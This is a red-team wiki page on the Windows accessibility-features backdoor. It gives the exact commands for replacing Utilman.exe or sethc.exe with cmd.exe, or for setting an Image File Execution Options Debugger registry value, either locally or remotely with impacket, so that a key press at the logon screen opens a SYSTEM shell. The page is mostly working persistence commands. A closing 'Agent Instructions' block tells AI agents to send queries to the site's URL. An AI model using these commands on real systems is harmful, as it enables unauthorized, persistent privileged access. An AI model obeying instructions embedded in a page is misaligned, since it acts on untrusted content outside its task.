# Accessibility features Backdoor

## Theory

The concept here is pretty simple. Windows supports some built in accessibility features like Sticky Keys, Utilman, Narrator, Magnify that are available at pre-logon (at the login screen, either via a physical console or via Remote Desktop). Replacing them by cmd.exe live us with a SYSTEM access at pre-logon.

## Practice

{% tabs %}
{% tab title="Utilman.exe" %}
We can replace the `C:\Windows\System32\Utilman.exe` with a cmd.exe and rename it (utilman.exe). You may need to change utilman.exe owner to yourself first as TrustedIntaller may be giving you a hard time.

An other way is just to edit the [Image File Execution Options](/redteam/persistence/windows/image-file-execution-options.md) registry

```bash
#Windows
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

#Linux (with impacket)
reg.py <USER>:<PASSWORD>@<TARGET> add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -vt REG_SZ -v Debugger -vd "C:\windows\system32\cmd.exe"
```

Know, press `Windows Key`+`U` to spawn an elevated shell
{% endtab %}

{% tab title="Sethc.exe" %}
We can replace the `C:\Windows\System32\sethc.exe` with a cmd.exe and rename it (sethc.exe). You may need to change sethc.exe owner to yourself first as TrustedIntaller may be giving you a hard time.

An other way is just to edit the [Image File Execution Options](/redteam/persistence/windows/image-file-execution-options.md) registry

```bash
#Windows
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

#Linux (with impacket)
reg.py <USER>:<PASSWORD>@<TARGET> add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -vt REG_SZ -v Debugger -vd "C:\windows\system32\cmd.exe"
```

Know, press `Shift Key` 5 time to spawn an elevated shell
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>" %}

{% embed url="<https://pentestlab.blog/2019/11/13/persistence-accessibility-features/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/persistence/windows/accessibility-features-backdoor.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
